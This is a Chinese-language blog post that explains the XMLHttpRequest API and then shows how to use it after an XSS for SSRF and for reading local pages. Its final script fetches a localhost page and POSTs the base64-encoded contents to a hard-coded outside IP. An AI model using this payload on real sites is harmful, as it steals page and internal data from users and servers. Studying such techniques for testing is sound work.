XHR实现SSRF与文件读取

发布于 2023-04-07  467 次阅读


xhr原理

  • XMLHttpRequest本身是js的内置对象,如果可以实现xss,那么可以试试xhr能否使用.XMLHttpRequest 可以用于获取任何类型的数据,而不仅仅是 XML。它甚至支持HTTP 以外的协议(包括 file:// 和 FTP),尽管可能受到更多出于安全等原因的限制。后面便是使用其所支持的

  • XMLHttpRequest(XHR)对象用于与服务器交互。通过 XMLHttpRequest 可以在不刷新页面的情况下请求特定 URL,获取数据。这允许网页在不影响用户操作的情况下,更新页面的局部内容。XMLHttpRequest在AJAX被大量使用。

创建

  • 创建 XMLHttpRequest
let xhr = new XMLHttpRequest();

初始化

  • 初始化,请注意,open 调用与其名称相反,不会建立连接。它仅配置请求,而网络活动仅以 send 调用开启。
xhr.open(method, URL, [async, user, password])

method —— HTTP 方法。通常是 "GET"或 "POST"。
URL —— 要请求的 URL,通常是一个字符串,也可以是 [URL](https://zh.javascript.info/url) 对象。
async —— 如果显式地设置为 false,那么请求将会以同步的方式处理,我们稍后会讲到它。
user,password —— HTTP 基本身份验证(如果需要的话)的登录名和密码。

状态

  • XMLHttpRequest 的状态(state)会随着它的处理进度变化而变化。可以通过 xhr.readyState来了解当前状态。
  • 这种方法较老,现在使用的方法下面会提到
UNSENT = 0; // 初始状态
OPENED = 1; // open 被调用
HEADERS_RECEIVED = 2; // 接收到 response header
LOADING = 3; // 响应正在被加载(接收到一个数据包)
DONE = 4; // 请求完成
xhr.onreadystatechange = function() {
  if (xhr.readyState == 3) {
    // 加载中
  }
  if (xhr.readyState == 4) {
    // 请求完成
  }
};
  • 另一种方法监听 xhr事件以获取响应
- load —— 当请求完成(即使 HTTP 状态为 400 或 500 等),并且响应已完全下载。

- error —— 当无法发出请求,例如网络中断或者无效的 URL。

- progress —— 在下载响应期间定期触发,报告已经下载了多少。
xhr.onload = function() {
  alert(`Loaded: ${xhr.status} ${xhr.response}`);
};

xhr.onerror = function() { // 仅在根本无法发出请求时触发
  alert(`Network Error`);
};

xhr.onprogress = function(event) { // 定期触发
  // event.loaded —— 已经下载了多少字节
  // event.lengthComputable = true,当服务器发送了 Content-Length header 时
  // event.total —— 总字节数(如果 lengthComputable 为 true)
  alert(`Received ${event.loaded} of ${event.total}`);
};

初始化与发送

  • open 调用与其名称相反,不会建立连接。它仅配置请求,而网络活动仅以 send 调用开启。
xhr.open(method, URL, [async, user, password])

method —— HTTP 方法。通常是 "GET" 或 "POST"。
URL —— 要请求的 URL,通常是一个字符串,也可以是 URL 对象。
async —— 如果显式地设置为 false,那么请求将会以同步的方式处理,我们稍后会讲到它。
user,password —— HTTP 基本身份验证(如果需要的话)的登录名和密码。
  • 发送请求。
xhr.send([body])

请求头

  • 设置请求头
xhr.setRequestHeader('Content-Type', 'application/json');

其他js函数

  • Location protocol 属性,protocol 属性是一个可读可写的字符串,可设置或返回当前 URL 的协议。

  • escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有字符都会被转义序列替换。使用 unescape()方法对字符串进行解码

  • btoa()方法可以将一个二进制字符串(例如,将字符串中的每一个字节都视为一个二进制数据字节)编码为 Base64 编码的 ASCII 字符串。你可以使用这个方法来对可能遇到通信问题的数据进行编码,然后使用atob()方法来对数据进行解码。例如,你可以对 ASCII 中的控制字符(值为 0 到 31 的字符)进行编码。

xhr打ssrf

  • 涉及到跨域的问题,服务器测不了,可以改配置文件,下一篇CSRF会提到
<script>
        var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
        httpRequest.open('POST', '目标网址', true); //第二步:打开连接
        httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
        httpRequest.send('a=123');//发送请求 将请求写在send中
        /**
         * 获取数据后的处理程序
         */
        httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
            if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
                var json = httpRequest.responseText;//获取到服务端返回的数据
                alert(httpRequest.status)
                alert(json);
            }
        };

    </script>

xhr文件读取

  • 涉及到跨域的问题,服务器测不了,可以改配置文件,下一篇CSRF会提到
<script>
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
} else {

        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
        try {
            xmlHttp = new ActiveXObject(MSXML[n]);
            break
            } catch(e) {}
}
}
}

createXmlHttp();
xmlHttp.onreadystatechange = function(){

    if (xmlHttp.readyState == 4) {//回调函数,相当于先执行了下面的GET拿到了本地文件的内容,然后再调了这个函数发送post
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://82.157.252.246/6677.php"; //接收地址
        cc = "htmlcode=" + btoa(code);
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send(cc)
        }
};

xmlHttp.open("GET", "http://127.0.0.1/2.html", true); //要获取源码的地址
xmlHttp.send(null);

</script>
届ける言葉を今は育ててる
最后更新于 2024-02-07